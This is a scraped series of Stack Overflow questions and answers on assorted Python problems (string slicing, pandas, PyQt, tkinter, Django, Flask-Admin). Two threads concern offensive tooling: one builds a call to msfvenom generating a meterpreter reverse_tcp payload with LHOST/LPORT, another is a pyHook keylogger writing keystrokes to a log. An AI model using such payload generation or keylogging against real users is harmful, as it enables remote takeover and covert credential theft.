<p>If you append (null, 0) to the front and (-1, null) to the back of matches</p> <pre><code>sentence = "This is some example sentence where we remove parts" matches = [(null, 0), (5, 10), (13, 18), (22, 27), (38, 42), (len(sentence), null)] </code></pre> <p>you can then write a join expressio...
0
2016-08-02T00:00:42Z
[ "python", "optimization" ]
Remove characters in ranges from a string
38,709,711
<p>Curious to find if people can do much faster than my implementation (using pure python, or whatever, but then just for your sake).</p> <pre><code>sentence = "This is some example sentence where we remove parts" matches = [(5, 10), (13, 18), (22, 27), (38, 42)] </code></pre> <p>The goal is to remove within those ra...
1
2016-08-01T23:45:50Z
38,710,164
<p>This might be faster. It's basically your solution but with list instead of strings. Since lists are mutable and doesn't need to be created every loop, it should be faster by quite much (maybe not for such few matches though).</p> <pre><code>sentence = "This is some example sentence where we remove parts" matches =...
1
2016-08-02T00:45:26Z
[ "python", "optimization" ]
Remove characters in ranges from a string
38,709,711
<p>Curious to find if people can do much faster than my implementation (using pure python, or whatever, but then just for your sake).</p> <pre><code>sentence = "This is some example sentence where we remove parts" matches = [(5, 10), (13, 18), (22, 27), (38, 42)] </code></pre> <p>The goal is to remove within those ra...
1
2016-08-01T23:45:50Z
38,717,333
<p>Had the strings be mutable, a fast solution would have been possible by moving the characters in-place, by contiguous substrings.</p> <p>An optimal C solution would consist of a few memmov calls.</p>
0
2016-08-02T09:59:33Z
[ "python", "optimization" ]
Remove characters in ranges from a string
38,709,711
<p>Curious to find if people can do much faster than my implementation (using pure python, or whatever, but then just for your sake).</p> <pre><code>sentence = "This is some example sentence where we remove parts" matches = [(5, 10), (13, 18), (22, 27), (38, 42)] </code></pre> <p>The goal is to remove within those ra...
1
2016-08-01T23:45:50Z
38,727,550
<p>Instead of removing characters, I would define how to keep them, to make the manipulation easier:</p> <pre><code>sentence = "This is some example sentence where we remove parts" matches = [(5, 10), (13, 18), (22, 27), (38, 42)] chain = (None,) + sum(matches, ()) + (None,) # keep = ((m1, m2) for m1, m2 in zip(chain...
0
2016-08-02T18:03:16Z
[ "python", "optimization" ]
Python read non-ascii text file
38,709,789
<p>I am trying to load a text file, which contains some German letters with</p> <pre><code>content=open("file.txt","r").read() </code></pre> <p>which results in this error message</p> <pre><code>UnicodeDecodeError: 'ascii' codec can't decode byte 0xc3 in position 26: ordinal not in range(128) </code></pre> <p>if I...
1
2016-08-01T23:56:51Z
38,709,816
<p>In Python 3, using 'r' mode and not specifying an encoding just uses a default encoding, which in this case is ASCII. Using 'rb' mode reads the file as bytes and makes no attempt to interpret it as a string of characters.</p>
3
2016-08-02T00:00:28Z
[ "python", "utf-8" ]
Python read non-ascii text file
38,709,789
<p>I am trying to load a text file, which contains some German letters with</p> <pre><code>content=open("file.txt","r").read() </code></pre> <p>which results in this error message</p> <pre><code>UnicodeDecodeError: 'ascii' codec can't decode byte 0xc3 in position 26: ordinal not in range(128) </code></pre> <p>if I...
1
2016-08-01T23:56:51Z
38,709,942
<p>ASCII is limited to characters in the range of [0,128). If you try to decode a byte that is outside that range, one gets that error.</p> <p>When you read the string in as bytes, you're "widening" the acceptable range of character to [0,256). So your \0xc3 character <code>Ã</code> is now read in without error. B...
2
2016-08-02T00:18:09Z
[ "python", "utf-8" ]
Pandas dataframe values refuse to be evaluated as floats with `.apply(eval)`. Why?
38,709,791
<p>Using Python 3.4, I have a Pandas Dataframe</p> <pre><code>import pandas as pd df = pd.read_csv('file.csv') df.head() </code></pre> <p>giving</p> <pre><code> animal fraction_decimal 0 cat1 '2/7' 1 cat2 '4/55' 2 cat3 '22/195' 3 cat4 '6/13' .... </code></pre> <p>I would like t...
2
2016-08-01T23:57:07Z
38,709,838
<pre><code>eval("4/2") 2 </code></pre> <hr> <pre><code>eval("'4/2'") '4/2' </code></pre> <hr> <pre><code>eval(eval("'4/2/'")) 2 </code></pre> <p>You have quote characters in your strings. You need to strip them out.</p> <p>consider:</p> <pre><code>s = pd.Series(["'1/2'", "'3/4'", "'4/5'", "'6+5'", "'11-7'", ...
2
2016-08-02T00:03:31Z
[ "python", "python-3.x", "pandas" ]
Python 2.7 crashes when importing PyQt4.QtDeclarative or PyQt4.Qt on Ubuntu
38,709,817
<p>Some time ago (months?) the program <code>rqt_plot</code> started crashing on startup (SIGSEGV) on my machine. I finally tracked it down a little deeper and found that the problem occurs while python is trying to import <code>PyQt4.QtDeclarative</code>. Unfortunately I don't remember when this started happening, a...
1
2016-08-02T00:00:29Z
39,111,262
<p>It can be difficult to diagnose a segfault when the only error message is</p> <pre><code>Segmentation fault (core dumped) </code></pre> <p>In this case, because reinstallation of <code>python-qt4</code> does not take much time at all, I would recommend you do it by running:</p> <pre><code>sudo apt-get install --r...
1
2016-08-23T21:53:03Z
[ "python", "ubuntu", "pyqt4", "python-sip", "qtdeclarative" ]
Syntax error when defining 2 functions in python
38,709,931
<p>I've <em>very</em> new to programming so sorry if this is a stupid question, but I'm trying to make a program with multiple functions, but whenever I attempt to define one it comes up with an error.</p> <pre><code>def startUp(): promptName() def promptName(): name = input("Hello. Please enter your name: ")...
1
2016-08-02T00:17:04Z
38,710,002
<p>The code you posted here is absolutely fine (regarding the syntax). Please check whether you have forgotton a colon or so in you original code.</p> <p>Regarding the code: If you define a variable (like name within promptName()) within a function, you cannot access that variable from outside the function. To make us...
1
2016-08-02T00:24:45Z
[ "python" ]
Syntax error when defining 2 functions in python
38,709,931
<p>I've <em>very</em> new to programming so sorry if this is a stupid question, but I'm trying to make a program with multiple functions, but whenever I attempt to define one it comes up with an error.</p> <pre><code>def startUp(): promptName() def promptName(): name = input("Hello. Please enter your name: ")...
1
2016-08-02T00:17:04Z
38,710,047
<p>I'd bet you're trying to paste the entire thing into a Python interpreter session. The command line interpreter needs things entered one block at a time, so try pasting the <code>startUp</code> function, hit enter, then <code>promptName</code> and enter, and then run the whole thing with the last line.</p> <p>Alter...
5
2016-08-02T00:30:10Z
[ "python" ]
Group by hours and plot in Bokeh
38,709,991
<p>I am trying to get a plot like a stock data in Bokeh like in the link <a href="http://bokeh.pydata.org/en/latest/docs/gallery/stocks.html" rel="nofollow">http://bokeh.pydata.org/en/latest/docs/gallery/stocks.html</a></p> <pre><code>2004-01-05,00:00:00,01:00:00,Mon,20504,792 2004-01-05,01:00:00,02:00:00,Mon,16553,78...
0
2016-08-02T00:23:50Z
38,710,974
<p>Sounds like this is what you need:</p> <pre><code>data.groupby('startTime')['count'].sum() </code></pre> <p>Output:</p> <pre><code>00:00:00 37766 01:00:00 35625 02:00:00 37219 03:00:00 17534 </code></pre>
1
2016-08-02T02:39:00Z
[ "python", "pandas", "plot", "graph", "bokeh" ]
Towards limiting the big RDD
38,710,018
<p>I am reading many images and I would like to work on a tiny subset of them for developing. As a result I am trying to understand how <a href="/questions/tagged/spark" class="post-tag" title="show questions tagged &#39;spark&#39;" rel="tag">spark</a> and <a href="/questions/tagged/python" class="post-tag" title="show...
3
2016-08-02T00:26:30Z
38,758,582
<p>Based on your code, here is simpler test case on Spark 2.0</p> <pre><code>case class my (x: Int) val rdd = sc.parallelize(0.until(10000), 1000).map { x =&gt; my(x) } val df1 = spark.createDataFrame(rdd) val df2 = df1.limit(1) df1.map { r =&gt; r.getAs[Int](0) }.first df2.map { r =&gt; r.getAs[Int](0) }.first // Muc...
3
2016-08-04T04:38:56Z
[ "python", "hadoop", "apache-spark", "pyspark", "distributed-computing" ]
Storing list in a pandas DataFrame column
38,710,061
<p>I am trying to do some text processing using NLTK and Pandas. </p> <p>I have DataFrame with column 'text'. I want to add column 'text_tokenized' that will be stored as a nested list.</p> <p>My code for tokenizing text is: </p> <pre><code>def sent_word_tokenize(text): text = unicode(text, errors='replace') ...
0
2016-08-02T00:32:33Z
38,711,386
<p>Solved my own question by using different axis:</p> <p>Instead of:</p> <pre><code>df['text_tokenized'] = df.apply(lambda row: sent_word_tokenize(row.text), axis=1) </code></pre> <p>I used:</p> <pre><code>df['text_tokenized'] = df.text.apply(lambda text: sent_word_tokenize(text)) </code></pre> <p>Although I am n...
0
2016-08-02T03:38:45Z
[ "python", "pandas", "dataframe", "nlp", "nltk" ]
How to reduce elif statement use?
38,710,085
<p>If I'm making a program that alloys you to translate words, is there a way to not use elif every tine and just write words to translate. This is what ive got now!</p> <pre><code>print("English to Exrian Dictionary") search = input("Enter the word you would like to translate: ").lower() if search == "ant": pri...
0
2016-08-02T00:35:56Z
38,710,157
<p>Use a <code>dict</code> to map each input to the appropriate output.</p> <pre><code>print("English to Exrian Dictionary") d = {"ant": "Ulf", "back": "Zuwp", # etc } search = input("Enter the word you would like to translate: ").lower() if search in d: print(d[search]) else: print("No results...
2
2016-08-02T00:45:11Z
[ "python" ]
How to reduce elif statement use?
38,710,085
<p>If I'm making a program that alloys you to translate words, is there a way to not use elif every tine and just write words to translate. This is what ive got now!</p> <pre><code>print("English to Exrian Dictionary") search = input("Enter the word you would like to translate: ").lower() if search == "ant": pri...
0
2016-08-02T00:35:56Z
38,710,161
<p>This might help:</p> <pre><code>def translate(item): try: return { 'ant': "Ulf", 'back': "Zuwp", 'ban': "Zul" }[item] except KeyError as e: return "No results were found for '" + search + "'" print("English to Exrian Dictionary") search = raw_input("Enter the word you would lik...
0
2016-08-02T00:45:20Z
[ "python" ]
How to reduce elif statement use?
38,710,085
<p>If I'm making a program that alloys you to translate words, is there a way to not use elif every tine and just write words to translate. This is what ive got now!</p> <pre><code>print("English to Exrian Dictionary") search = input("Enter the word you would like to translate: ").lower() if search == "ant": pri...
0
2016-08-02T00:35:56Z
38,710,163
<p>You can just use a <code>dict</code> object. </p> <p>Example:</p> <pre><code>words = {'ant': 'Ulf', 'back': 'Zuwp', 'ban' : 'Zul'} # etc try: print(words[search]) except KeyError as e: print("No results were found for '" + search + "'") </code></pre>
0
2016-08-02T00:45:26Z
[ "python" ]
How to compare (x,y) points in array to extract rectangular shape in python
38,710,103
<p>I have a numpy array that was extracted from an image running the harris corner detection algorithm from opencv and I am trying to sort out four points that resembles a rectangle.</p> <p>The following is the set of points:</p> <pre><code>numpy.array([[194, 438], [495, 431], [512, 519], [490, 311], [548...
3
2016-08-02T00:37:47Z
38,754,407
<p>This is probably not the most efficient way to go about finding the corners but I split the points into four quadrants like so:</p> <pre><code>yThreshM = height / 2 xThreshM = width / 2 tl = dst[ ((dst[:,1]&lt;yThreshM) &amp; (dst[:,0]&lt;xThreshM)) ] tr = dst[ ((dst[:,1]&lt;yThreshM) &amp; (dst[:,0]&gt;xThreshM))...
0
2016-08-03T22:05:00Z
[ "python", "opencv", "numpy", "scipy" ]
How to install SciPy on an Azure C# webapp?
38,710,158
<p>I have a website built with .Net Core 1.0 (C#) and deployed it to Azure WebApp (32 bit mode).</p> <p>The app uses some python scripts and I was able to create a virtual env (3.4.1) and successfully installed numpy (1.11.0) with <code>pip install numpy</code>. </p> <p>The problem I'm facing is that I can not insta...
1
2016-08-02T00:45:16Z
38,716,606
<p>@mdeblois, your understanding is correct, please see the offical explaination below.</p> <blockquote> <p>Some packages may not install using pip when run on Azure. It may simply be that the package is not available on the Python Package Index. It could be that a compiler is required (a compiler is not available o...
1
2016-08-02T09:27:03Z
[ "python", "azure", "scipy", "azure-web-app-service" ]
Python - Download file over HTTP and detect filetype automatically
38,710,238
<p>I want download a file via HTTP, but all the examples online involve fetching the data and then putting it in a local file. The problem with this is that you need to explicitly set the filetype of the local file.</p> <p>I want to download a file but I won't know the filetype of what I'm downloading.</p> <p>This is...
0
2016-08-02T00:56:47Z
38,710,582
<p>You can use <a href="https://github.com/ahupp/python-magic" rel="nofollow">python-magic</a> to detect file type. It can be installed via "pip install python-magic". </p> <p>I assume you are using python 2.7 since you are calling urlretreieve. The example is geared to 2.7, but it is easily adapted.</p> <p>This is a...
1
2016-08-02T01:44:16Z
[ "python", "http" ]
'Library not loaded: @rpath/libcudart.7.5.dylib' TensorFlow Error on Mac
38,710,339
<p>I'm using OS X El Capitan (10.11.4).</p> <p>I just downloaded TensorFlow using the pip install instructions <a href="https://www.tensorflow.org/versions/r0.10/get_started/os_setup.html">here</a>.</p> <p>Everything went pretty smoothly, though I did get a few warning messages like:</p> <p><code>The directory '/Use...
6
2016-08-02T01:12:01Z
38,712,022
<p>This error message is displayed if you install the GPU-enabled Mac OS version of TensorFlow (available from release 0.10 onwards) on a machine that does not have CUDA installed.</p> <p>To fix the error, install the CPU version for Python 2.7 or 3.x, as follows:</p> <pre><code># Mac OS X, CPU only, Python 2.7: $ ex...
10
2016-08-02T04:55:05Z
[ "python", "osx", "pip", "tensorflow", "osx-elcapitan" ]
'Library not loaded: @rpath/libcudart.7.5.dylib' TensorFlow Error on Mac
38,710,339
<p>I'm using OS X El Capitan (10.11.4).</p> <p>I just downloaded TensorFlow using the pip install instructions <a href="https://www.tensorflow.org/versions/r0.10/get_started/os_setup.html">here</a>.</p> <p>Everything went pretty smoothly, though I did get a few warning messages like:</p> <p><code>The directory '/Use...
6
2016-08-02T01:12:01Z
38,829,274
<p>To add to <a href="http://stackoverflow.com/a/38712022/169275">@mrry's answer</a>, if you already have CUDA installed but you still get the error, it could be because the CUDA libraries are not on your path. Add the following to your ~/.bashrc or ~/.zshrc:</p> <pre><code># export CUDA_HOME=/Developer/NVIDIA/CUDA-7....
1
2016-08-08T12:29:59Z
[ "python", "osx", "pip", "tensorflow", "osx-elcapitan" ]
Replace specific named group with re.sub in python
38,710,363
<p>I create a regular expression to find urls like <code>/places/:state/:city/whatever</code></p> <pre><code>p = re.compile('^/places/(?P&lt;state&gt;[^/]+)/(?P&lt;city&gt;[^/]+).*$') </code></pre> <p>This works just fine:</p> <pre><code>import re p = re.compile('^/places/(?P&lt;state&gt;[^/]+)/(?P&lt;city&gt;[^/]+...
0
2016-08-02T01:15:46Z
38,727,823
<p>Figured out a better way to do this. There is a property <code>groupindex</code> on a compiled regular expression which prints the groups <em>and their orders</em> in the pattern string:</p> <pre><code>&gt;&gt;&gt; p = re.compile('^/places/(?P&lt;state&gt;[^/]+)/(?P&lt;city&gt;[^/]+).*$') &gt;&gt;&gt; p.groupindex...
0
2016-08-02T18:20:22Z
[ "python", "regex", "string-substitution" ]
How do I get the accuracy/precision of a h2o model?
38,710,377
<p>I try to get the accurracy of my multiclass classifier using logistic regression.Is there any way to get the accuracy with a built-in function or do I have to write the function myself?</p> <p>below my code so far:</p> <pre><code>multinomial_fit = H2OGeneralizedLinearEstimator(family="multinomial",max_iterations=1...
2
2016-08-02T01:18:36Z
38,724,825
<p>you can use <code>multinomial_fit.logloss()</code>, here's an example using the iris dataset:</p> <pre><code>import h2o from h2o.estimators.glm import H2OGeneralizedLinearEstimator h2o.init() iris_df = h2o.import_file("https://s3.amazonaws.com/h2o-public-test-data/smalldata/iris/iris.csv") predictors = iris_df.colu...
0
2016-08-02T15:34:47Z
[ "python", "machine-learning", "classification", "h2o" ]
How do I get the accuracy/precision of a h2o model?
38,710,377
<p>I try to get the accurracy of my multiclass classifier using logistic regression.Is there any way to get the accuracy with a built-in function or do I have to write the function myself?</p> <p>below my code so far:</p> <pre><code>multinomial_fit = H2OGeneralizedLinearEstimator(family="multinomial",max_iterations=1...
2
2016-08-02T01:18:36Z
38,759,512
<p>This is currently unimplemented, but it makes sense to add this. Here is the <a href="https://0xdata.atlassian.net/browse/PUBDEV-3202" rel="nofollow">JIRA ticket</a> where you can track the progress.</p>
2
2016-08-04T06:00:14Z
[ "python", "machine-learning", "classification", "h2o" ]
How to dynamically create a class in Python with an initializer
38,710,388
<p>Here is some code to start with:</p> <pre><code>def objectify(name, fields): """ Create a new object including the __init__() method. """ def __init__(self, *argv): for name, val in zip(var_names, argv): setattr(self, name, val) # The following line of code is currently limited to a...
0
2016-08-02T01:20:28Z
38,710,389
<p>Here is one solution:</p> <pre><code>def objectify(obj_name, fields): """ Create a new object including the __init__() method. """ def __init__(self, *argv): """ Generic initializer for dynamically created classes. """ fields = objectify.fields[self.__class__.__name__] for field, va...
0
2016-08-02T01:20:28Z
[ "python" ]
How to dynamically create a class in Python with an initializer
38,710,388
<p>Here is some code to start with:</p> <pre><code>def objectify(name, fields): """ Create a new object including the __init__() method. """ def __init__(self, *argv): for name, val in zip(var_names, argv): setattr(self, name, val) # The following line of code is currently limited to a...
0
2016-08-02T01:20:28Z
38,710,501
<p>You don't mention anything about the usage of fields later on. If you only need them in <code>__init__</code>, you don't need to save them at all:</p> <pre><code>def objectify(name, fields): """ Create a new object including the __init__() method. """ fields = fields[:] def __init__(self, *argv): ...
3
2016-08-02T01:34:05Z
[ "python" ]
How to exclude blank cell in conditional formatting in openpyxl?
38,710,450
<p>I am using conditional formatting in openpyxl but got stumped trying to exclude blank cells. I have a column with numbers which I format using CellisRule. Code I use is below.</p> <pre><code>ws2.conditional_formatting.add('C3:C25',CellIsRule(operator='lessThan', formula=['85'], stopIfTrue=True, fill=redFill,font=wh...
0
2016-08-02T01:27:47Z
38,743,351
<p>If you're using a formula then you should use the an <code>expression</code> type rule. In general, it's always better to compose the rules and styles separately:</p> <pre><code>from openpyxl import Workbook from openpyxl.formatting.rule import Rule from openpyxl.styles.differential import DifferentialStyle from op...
0
2016-08-03T12:13:33Z
[ "python", "openpyxl" ]
How to check for variable key presses in pygame
38,710,532
<p>I have been trying to create a game using pygame and I am struggling to get pygame to check for a keypress based on a variable.</p> <p>The code I have so far is:</p> <pre><code>import random, pygame, sys from pygame.locals import * points=0 pygame.init() screen = pygame.display.set_mode((600,350)) pygame.display....
3
2016-08-02T01:37:39Z
38,738,576
<p>One fix would be to change the dictionary to</p> <pre><code> Letters={ 1 :pygame.K_a, 2 :pygame.K_b, 3 :pygame.K_c, </code></pre> <p>and so on, then <code>if event.key == Letters[Letter]:</code></p> <p>For general clean-up, you can take this to code-review, in particular, I see no reason to use a dict...
3
2016-08-03T08:39:51Z
[ "python" ]
Injecting data into javascript with Python Flask
38,710,603
<p>I am following the instructions from <a href="http://www.highcharts.com/docs/getting-started/your-first-chart" rel="nofollow">http://www.highcharts.com/docs/getting-started/your-first-chart</a> to create a sample chart. I have saved the main chunk of javascript locally, and am add the <code>&lt;script src="/chart.js...
0
2016-08-02T01:46:37Z
38,710,782
<p>Assuming a globally accessible function, just call it in the module with the data converted to json on the server with the tojson and safe filters. </p> <pre><code>&lt;script type=text/javascript&gt; doSomethingWith({{ data|tojson|safe }}); &lt;/script&gt; </code></pre> <p>It's a bit hard to follow the logic when ...
1
2016-08-02T02:13:52Z
[ "javascript", "python", "flask" ]
Pairwise Frequency Table for Multiple Columns in Python
38,710,682
<p>I have a table of patients diagnosis codes where each row represents all the diagnosis for one patient:</p> <pre><code> D0 D1 D2 D3 D4 D5 D6 0 0 0 0 0 0 0 0 1 I48.91 R60.9 M19.90 Z87.2...
4
2016-08-02T01:57:14Z
38,710,903
<p>Let's create a smaller example to make it easier to see the effect of each step and verify the correctness of the result:</p> <pre><code>df = pd.DataFrame({'D0': ['0', 'A', 'B', 'C'], 'D1': ['B', '0', 'C', 'D'], 'D2': ['C','D','0','A']}) # D0 D1 D2 # 0 0 B C # 1 A 0 D #...
3
2016-08-02T02:30:58Z
[ "python", "pandas" ]
Python script with open('filename') works with IDLE but doesn't work in console
38,710,683
<p>I'm trying to make this simple keylogger in python, it works just fine when i run in IDLE, but in console it doesn't write the log to the file.</p> <pre><code>import pyHook, pythoncom, sys log = '' def OnKeyPress(event): global log log += chr(event.Ascii) if event.Ascii == 27: # if user press esc...
0
2016-08-02T01:57:16Z
38,727,752
<p>To be helpful to others, the problem in the question needs explanation. An 'open(filepath)' with a relative path, such as 'something.txt', will open the file relative to the 'current working directory'. For a simple filename, this means in that current working directory (CWD).</p> <p>When IDLE runs code in the ed...
0
2016-08-02T18:16:44Z
[ "python", "python-2.7", "file", "console", "python-idle" ]
Converting HTML to Excel with Django
38,710,688
<p>I have a reporting module in my Django app that gives the user the ability to see their reports on screen or to export them and have the export opened by Excel.</p> <p>The export is a cheat. I take the exact same output as the screen version and save it to a file with an .xls extension and response = HttpResponse(...
0
2016-08-02T01:58:45Z
38,809,400
<p>The behavior change has been noted by Microsoft and there are work arounds, for the user:</p> <p><a href="https://support.microsoft.com/en-us/kb/3181507" rel="nofollow">https://support.microsoft.com/en-us/kb/3181507</a></p> <p>It sounds like they're working on a fix.</p>
0
2016-08-06T22:45:48Z
[ "python", "django", "excel" ]
SyntaxError: invalid syntax line 138 unexpected error
38,710,691
<p>I'm facing deep troubles with a script I was trying to write to answer a question on a course I was doing. I keep on getting SyntaxError: invalid syntax line 138 which was a bit odd. Here is my script. It would be wonderful if somebody could explain how to solve this. Thanks</p> <pre><code>class Message(object): ...
0
2016-08-02T01:59:21Z
38,710,732
<p>Between these two lines:</p> <pre><code>shifted_dict = {} for ltr in lc_str: </code></pre> <p>You have a non-ASCII character (<code>'\xe2'</code>). Delete it.</p> <p>(Python tells you exactly this if you try to load your code in a Python interpreter.)</p>
1
2016-08-02T02:05:57Z
[ "python", "python-2.7", "syntax-error" ]
strptime with timestamp and AM/PM
38,710,721
<p>I am trying to convert from string to timestamp using:</p> <pre><code>from datetime import datetime date_object = datetime.strptime('09-MAR-15 12.54.45.000000000 AM', '%d-%b-%y %I.%M.%S.%f %p') </code></pre> <p>I get: <strong>ValueError</strong>: </p> <blockquote> <p>time data '09-MAR-15 12.54.45.000000000 AM' ...
0
2016-08-02T02:04:16Z
38,710,761
<p>The below will work as long as the the part after the decimal point always ends in 000. :-) <code>%f</code> captures microseconds, while I guess your timestamp uses nanoseconds?</p> <pre><code>date_object = datetime.strptime('09-MAR-15 12.54.45.000000000 AM', '%d-%b-%y %I.%M.%S.%f000...
2
2016-08-02T02:11:23Z
[ "python", "python-2.7" ]
python compiler package explain
38,710,757
<p>I searched hard, but could hardly find any information on how to use the python compiler package (<a href="https://docs.python.org/2/library/compiler.html" rel="nofollow">https://docs.python.org/2/library/compiler.html</a>) and how to create a Visitor class that can be feed into the compiler.walk(<a href="https://do...
0
2016-08-02T02:11:01Z
38,723,700
<p>You create a visitor class by defining a subclass of <code>compiler.visitor.ASTVisitor</code> and then defining a method <code>visitXXX</code> for each type of node that you want your visitor to handle (where <code>XXX</code> is the name of the node type - the possible types of nodes are listed in the table in the d...
2
2016-08-02T14:47:32Z
[ "python", "compiler-construction", "abstract-syntax-tree" ]
python compiler package explain
38,710,757
<p>I searched hard, but could hardly find any information on how to use the python compiler package (<a href="https://docs.python.org/2/library/compiler.html" rel="nofollow">https://docs.python.org/2/library/compiler.html</a>) and how to create a Visitor class that can be feed into the compiler.walk(<a href="https://do...
0
2016-08-02T02:11:01Z
38,725,221
<p>Since the <code>compiler</code> package is deprecated, you should probably also take a look at the <a href="https://docs.python.org/2/library/ast.html" rel="nofollow"><code>ast</code> package</a>.</p> <p>Good docs on the Python <code>ast</code> can be found in "<a href="https://greentreesnakes.readthedocs.io/en/lat...
2
2016-08-02T15:53:34Z
[ "python", "compiler-construction", "abstract-syntax-tree" ]
python class's attribute not in __init__
38,710,765
<p>I want to know why the following codes work?<br></p> <pre><code>#!/usr/bin/env python3 import sys class Car(): def __init__(self): pass if __name__ == '__main__': c = Car() c.speed = 3 c.time = 5 print(c.speed, c.time) </code></pre> <p>I accidentally found that I don't have to in...
1
2016-08-02T02:11:40Z
38,713,308
<p>It's class attributes vs instance attributes vs dynamic attributes. When you do:</p> <pre><code>class Car(): def __init__(self): pass c = Car() c.speed = 3 c.time = 5 </code></pre> <p><code>speed</code> and <code>time</code> are dynamic attributes <em>(not sure if this is an official term)</em>. I...
2
2016-08-02T06:38:04Z
[ "python", "class", "variable-assignment" ]
Appending variables as strings when passing command line arguments in python 2.7.12
38,710,788
<p>I am attempting to create a Metasploit payload generator with Python 2.7.12. It generates many malicious payloads utilizing <code>msfvenom</code>. </p> <p>First I utilize the <code>%s</code> and <code>%d</code> format operators.</p> <pre><code>call(["msfvenom", "-p", "windows/meterpreter/reverse_tcp", "LHOST=%s", ...
1
2016-08-02T02:14:23Z
38,710,918
<p>A good trick is to use <code>split</code> on your command to create the list that's passed to <code>call</code>, this will make the the variable substitution cleaner too:</p> <pre><code>call("msfvenom -p windows/meterpreter/reverse_tcp LHOST={0} LPORT={1} -e {2} -i {3} -f {4} &gt; {5}.{6}" .split().format(lhos...
-1
2016-08-02T02:32:57Z
[ "python" ]
Appending variables as strings when passing command line arguments in python 2.7.12
38,710,788
<p>I am attempting to create a Metasploit payload generator with Python 2.7.12. It generates many malicious payloads utilizing <code>msfvenom</code>. </p> <p>First I utilize the <code>%s</code> and <code>%d</code> format operators.</p> <pre><code>call(["msfvenom", "-p", "windows/meterpreter/reverse_tcp", "LHOST=%s", ...
1
2016-08-02T02:14:23Z
38,711,005
<p>You cannot use <code>format</code> on the result of the <code>call(...)</code>. You should format each component:</p> <pre><code>with open("{}.{}".format(payname, format), 'w') as outfile: call(["msfvenom", "-p", "windows/meterpreter/reverse_tcp", "LHOST={}".format(lhost), "LPORT={}".format(lport), "-e", str(en...
0
2016-08-02T02:43:26Z
[ "python" ]
Python 3 -- using kwargs with an args only module
38,710,801
<p>I am writing a gui in tkinter and using a publish/subscribe module (pyPubSub) to inform different parts of the program of what is occurring if they're subscribed. So, I have two functions that I need to work together. From tkinter, I'm using:</p> <pre><code>after_idle(callback, *args) </code></pre> <p>to call th...
0
2016-08-02T02:15:37Z
38,710,929
<p>You could always use <code>lambda</code>, here's a short example that does nothing.</p> <pre><code>import tkinter as tk def test(arg1, arg2): print(arg1, arg2) root = tk.Tk() root.after_idle(lambda: test(arg1=1, arg2=2)) root.mainloop() </code></pre>
3
2016-08-02T02:33:42Z
[ "python", "python-3.x", "tkinter", "arguments", "publish-subscribe" ]
Django Registration Redux Custom View
38,710,806
<p>(Django 1.8, Django-Registration-Redux 1.4)</p> <p>After following the answer in this SO post: <a href="http://stackoverflow.com/questions/29620940/django-registration-redux-add-extra-field">django-registration-redux add extra field</a></p> <p>I've implemented a custom view with my own template to register a user,...
0
2016-08-02T02:16:08Z
38,725,172
<p>Ok - I've determined the solution. It had to do with my custom form not collecting the (required) username field.</p> <p>Incase it helps, I figured it out by implementing form_invalid(self, form) as RegistrationView is a derived class of Django's FormView, which hinted me towards it. </p> <p>This SO answer helped ...
0
2016-08-02T15:51:17Z
[ "python", "django", "django-registration" ]
How can a few small Python scripts be run periodically with Docker?
38,710,923
<p>I currently have a handful of small Python scripts on my laptop that are set to run every 1-15 minutes, depending on the script in question. They perform various tasks for me like checking for new data on a certain API, manipulating it, and then posting it to another service, etc.</p> <p>I have a NAS/personal serve...
0
2016-08-02T02:33:22Z
38,720,038
<p>No dude just install python on the docker container/image, move your scripts and run them as normal. You may have to expose some port or add firewall exception but your container can be as native linux environment.</p>
0
2016-08-02T12:08:59Z
[ "python", "docker", "dockerfile" ]
trigamma and digamma functions for bigfloat variable in python
38,710,962
<p>I need to compute the <code>scipy.special</code> trigamma and digamma functions of a variable with type <em>bigfloat</em> in python but I get the following error message:</p> <pre><code>TypeError: ufunc 'psi' not supported for the input types, and the inputs could not be safely coerced to any supported types accord...
0
2016-08-02T02:38:08Z
38,711,958
<p>Multiple precision implementations of digamma are available in <a href="https://pypi.python.org/pypi/gmpy2" rel="nofollow">gmpy2</a>, <a href="https://pypi.python.org/pypi/mpmath/0.19" rel="nofollow">mpmath</a>, and <a href="http://fredrikj.net/python-flint/index.html" rel="nofollow">Python-FLINT</a>. I am not aware...
1
2016-08-02T04:47:50Z
[ "python", "derivative", "gamma-function", "bigfloat" ]
How do you parse this JSON in Python?
38,710,971
<p>JSON below</p> <pre><code>{"result":[ { "spawn_point_id":"89", "encounter_id":"1421", "expiration_timestamp_ms":"1470105387836", "latitude":38.22, "longitude": -91.27 }, { "distance_in_meters":10, "encounter_id":"9677" }, { "distanc...
-6
2016-08-02T02:38:43Z
38,711,232
<p>You are looking for a key that does not exist. Try:</p> <pre><code>c = json.loads(r.content) for d in c['result']: if 'latitude' in d: print(str(d['latitude'])) </code></pre>
0
2016-08-02T03:17:41Z
[ "python", "json" ]
Encoding data's label for text classification
38,710,993
<p>I am doing a project in clinical text classification. In my corpus ,data are already labelled by code (For examples: 768.2, V13.02, V13.09, 599.0 ...). I already separated text and labels then using word-embedded for text. I am going to feed them into convolution neural network. However, the labels are needs to enco...
0
2016-08-02T02:41:50Z
38,711,955
<p>Discrete text label is easily convertible to discrete numeric data by creating an enumeration mapping. For example, assuming the labels "Yes", "No" and "Maybe":</p> <pre><code>No -&gt; 0 Yes -&gt; 1 Maybe -&gt; 2 </code></pre> <p>And now you have numeric data, which can later be converted back (as long as the...
1
2016-08-02T04:47:39Z
[ "python", "encoding", "tensorflow", "text-classification" ]
Encoding data's label for text classification
38,710,993
<p>I am doing a project in clinical text classification. In my corpus ,data are already labelled by code (For examples: 768.2, V13.02, V13.09, 599.0 ...). I already separated text and labels then using word-embedded for text. I am going to feed them into convolution neural network. However, the labels are needs to enco...
0
2016-08-02T02:41:50Z
38,713,767
<p>Watch this 4 mins video (Corsera: ML classification (University of Washington)-> Week1 -> Encoding Categorical Inputs) <a href="https://www.coursera.org/learn/ml-classification/lecture/kCY0D/encoding-categorical-inputs" rel="nofollow">https://www.coursera.org/learn/ml-classification/lecture/kCY0D/encoding-categorica...
1
2016-08-02T07:03:50Z
[ "python", "encoding", "tensorflow", "text-classification" ]
Flask Admin editing columns send requests
38,710,997
<p>I am using flask-admin with ModelViews</p> <pre><code>class MyModel(ModelView): can_create = False can_edit = True column_list = ['column'] </code></pre> <p>This allows me to edit the data on each row. However I want to perform some custom function in addition to the editing. I tried to add a route for...
0
2016-08-02T02:42:06Z
38,717,857
